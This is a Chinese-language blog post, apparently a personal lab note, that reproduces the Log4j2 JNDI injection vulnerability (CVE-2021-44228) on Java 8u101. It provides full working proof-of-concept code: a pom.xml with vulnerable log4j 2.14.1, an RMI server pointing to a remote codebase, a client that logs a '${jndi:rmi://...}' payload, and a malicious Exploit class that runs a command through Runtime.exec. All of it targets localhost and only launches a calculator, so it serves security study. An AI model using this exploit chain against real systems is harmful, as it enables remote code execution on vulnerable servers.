首页 > 其他分享 >log4j2的JNDI注入简单测试

log4j2的JNDI注入简单测试

时间:2024-03-18 20:23:01浏览次数:26  
标签:com public JNDI registry 测试 import rmi log4j2 log4j

配环境的锅,这次走最基本的路子,以求maven爹别给我报错了。

这里版本是java8u101

首先要知道:

JDK 6u141、7u131、8u121之后:增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA协议使用远程codebase的选项,因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞,但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。
JDK 6u211、7u201、8u191之后:增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。

这里用耳熟能详的log4j2漏洞开打:

pom.xml:

<dependencies>
    <dependency>
        <groupId>org.apache.logging.log4j</groupId>
        <artifactId>log4j-core</artifactId>
        <version>2.14.1</version>
    </dependency>

    <dependency>
        <groupId>org.apache.logging.log4j</groupId>
        <artifactId>log4j-api</artifactId>
        <version>2.14.1</version>
    </dependency>
</dependencies>

RMIServer:

package com.jndibypass;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
    public static void main(String args[]) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference exploit = new Reference("Exploit", "Exploit", "http://127.0.0.1:8081/");
        ReferenceWrapper exploitWrapper = new ReferenceWrapper(exploit);
        registry.bind("exp", exploitWrapper);
    }
}

Log4j2RCEPoc:

package com.jndibypass;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Log4j2RCEPoc {
    public static final Logger LOGGER = LogManager.getLogger(Log4j2RCEPoc.class);

    public static void main(String[] args) {
        LOGGER.error("${jndi:rmi://127.0.0.1:1099/exp}");
    }
}

需要编译成恶意class的恶意类Exploit:

public class Exploit {
    static {
        String cmd = "calc";
        final Process process;
        try {
            process = Runtime.getRuntime().exec(cmd);
            process.waitFor();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

记得这里别用package,不然通不了,算小坑吧。

 

然后python起http服务,启动RMIServer,再启动受害Client:

我自己调的时候破案了,SDK原来用的JDK1.5,估计是这里导致的maven一直下不了包。

ldap同理,这里先不打了,直接回到还在写的blog中。

参考:

Log4j2的JNDI注入漏洞(CVE-2021-44228)原理分析与思考-CSDN博客

标签:com,public,JNDI,registry,测试,import,rmi,log4j2,log4j
From: https://www.cnblogs.com/EddieMurphy-blogs/p/18081216

相关文章

  • 搭建springboot项目,链接数据库测试,并跑通流程
    步骤>>新建项目>>修改pom.xml文件>>创建文件mvc框架>>在主文件下创建Application启动类(注解@SpringBootApplication)>>resources文件下创建application.yml文件>>在domain下创建实体类(注解@Data)>>在mapper下创建mapper类(注解@Mapper)>>在service下创建接口>>在service下创建impl并......
  • postman工具进行接口测试
    postman页面详情 三、postman请求方式【GET、POST、DELETE、PUT】1、使用Postman做接口测试的流程获取发送Request的请求信息以及Response的响应信息;点击添加接口测试,填写对应请求信息;点击send发送请求。2、请求响应协议码404的相关问题协议码404指请求资源不存在。当有......
  • JMeter如何进行性能测试
    jmeter工具除了可以进行接口功能测试外,还可以进行性能测试。当项目趋于稳定,根据性能需求就可以着手准备性能测试了,今天就说一说jmeter如何进行性能测试,jmeter进行性能测试的前提是接口的功能逻辑是通的,没有阻塞bug。第一步:设置线程数量第二步:添加事务控制器根据业务场景设置事务......
  • 测试工程师简历中【个人技能】如何写
    测试工程师属于技术岗位。在简历投递中,HR和面试官筛选简历的时候,对【个人技能】这一栏会相对比较关注。应聘者如果能在【个人技能】中描述得当,会大幅提升简历通过筛选的概率。常见错误很多工程师由于经验不足,在填写【个人技能】时,容易犯一些错误,平白浪费了可以展示自己的机......
  • Python性能测试框架Locust
    Locust是一个比较容易上手的分布式用户负载测试工具。它旨在对网站(或其他系统)进行负载测试,并确定系统可以处理多少个并发用户,Locust在英文中是蝗虫的意思:作者的想法是在测试期间,放一大群蝗虫攻击您的网站。当然事先是可以用Locust定义每个蝗虫(或测试用户)的行为,并且通过Web......
  • Jmeter性能测试 —— jmeter之使用ServerAgent监控服务器
    ServerAgent性能测试时我们关注的重要指标是:并发用户数,TPS,请求成功率,响应时间,服务器的CPU,memory,I/Odisk等。Jmeter的聚合报告可以查看并发数、吞吐量、请求成功率、响应时间等;如果要查看服务器端的CPU,memory,I/Odisk等就需要安装插件ServerAgent将ServerAgent-2.2.1.jar上传......
  • 应用使用JNDI,数据库无法连接,导致的进程无法启动问题处理
    起因数据库迁移,导致的ip改变,并且更换了用户密码。解决方法找到服务器应用目录,例如:/home/weblogic/Oracle/Middleware/user_projects/domains/abc进入config目录config.xml配置文件,属于中间件的整体配置,删除使用JNDI的应用的标签内容jdbc目录为weblogic的数据库配置文件重......
  • Aqua-Boy TEMI 水分测试仪
    水分测试仪是一种用于快速测量物体中水分含量的仪器。它通常使用电磁波或电导率等原理来进行测量。水分测试仪广泛应用于农业、食品加工、建筑材料、纺织品和木材等行业。在农业领域,水分测试仪常用于测量农作物、土壤和饲料中的水分含量,以帮助农民判断作物的成熟程度和进行......
  • 你在测试金字塔的哪一层?(上)
    在准备将软件上线到生产环境之前需要进行测试。随着软件测试方式日趋成熟,软件开发团队的测试也在取代大量手动测试,逐渐实现自动化测试。通过自动化测试,开发团队可以在短短几分钟内就了解到软件是否存在问题,而不需要等待几天的时间。自动化测试大大地缩短了反馈周期,与敏捷开发、持......
  • 键盘测试记录
     正文 MAC外接键盘卡顿处理:https://blog.csdn.net/sy_123a/article/details/125547336mac中文输入法卡顿:https://discussionschinese.apple.com/thread/253820959?sortBy=best            /************************(C)COPYLEFT2018Merafo......